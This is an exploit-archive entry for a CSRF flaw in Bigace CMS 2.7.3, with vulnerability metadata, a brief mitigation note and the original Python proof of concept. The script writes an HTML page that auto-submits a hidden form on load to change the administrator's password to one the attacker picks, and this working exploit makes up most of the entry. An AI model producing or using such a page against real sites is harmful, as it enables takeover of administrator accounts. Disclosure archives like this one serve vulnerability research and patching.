Bigace_2.7.3 CSRF Change admin password POC

vendor:

Bigace CMS

by:

Sweet

8,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Bigace CMS

Affected Version From: 2.7.3

Affected Version To: 2.7.3

Patch Exists: YES

Related CWE: N/A

CPE: a:bigace:bigace:2.7.3

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

Bigace_2.7.3 CSRF Change admin password POC

Cross-Site Request Forgery (CSRF) is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.

Mitigation:

The best way to prevent CSRF attacks is to ensure that all requests are validated against a token that is unique to the user's session. This token should be generated using a cryptographically secure random number generator and should be included in all requests.

Source

Exploit-DB raw data:

#!/usr/bin/python
#Exploit Title : Bigace_2.7.3 CSRF Change admin password POC 
#Software : Bigace 2.7.3
#Software link : http://www.bigace.de/download.html
#Autor : Sweet
#Email : charif38@hotmail.fr
#Date  : 26/10/2010
#Software version : 2.7.3
#Software detail: BIGACE - Dynamic Web CMS - is a free, professional grade software package that allows you to set up your own Website within minutes.
#                 Its powerful backend puts you in full control of the layout, service and content of your Pages. 
#                 BIGACE is written in the popular language PHP and uses a MySQL database. It is designed to provide #you with all the features you 
#                 need from a CMS while having an absolute minimal impact on the resources of the server.
#Vulnerability detail: Also known as a one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website 
#                      whereby unauthorized commands are transmitted from a user that the website trusts. 
#                      Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.
#                      int two word you need the cookie of the user that you wanna attack
#thx to  Heni Kraiem , Milw0rm.com , JF - Hamst0r - Keystroke) R.I.P  , inj3ct0r.com ,  exploit-db.com, packetstormsecurity.org, http://ha.ckers.org
#et 1,2,3 viva L'Algerie
import sys
if len(sys.argv) != 3:
      print """Usage:
                ./exploit.py <Url and bigace patch> <Your new password>
                Example:
               ./exploit.py http://172.16.233.128:80/bigacecms/ mypassword """
      quit()
url = sys.argv[1]
passw = sys.argv[2]
Skel ="""<body onload="document.getElementById('1').submit()">
<form method="POST" id="1" name="form0" action="%spublic/index.php?cmd=admin&id=userAdmin_tADMIN_len">
<input type="hidden" name="mode" value="changePassword"/>
<input type="hidden" name="data[id]" value="1"/>
<input type="hidden" name="passwordnew" value="%s"/> 
<input type="hidden" name="passwordcheck" value="%s"/> 
</form> """ % (url,passw,passw)
try :
     print "[+] Writing the exploit [+]"
     FP = file("bigaceCSRF.html" , "w")
     FP.write(Skel)
     FP.close()
     print "[+] Exploit writed succesfully [+]"
except :
     print "[+] Error while trying to write the exploit [+]"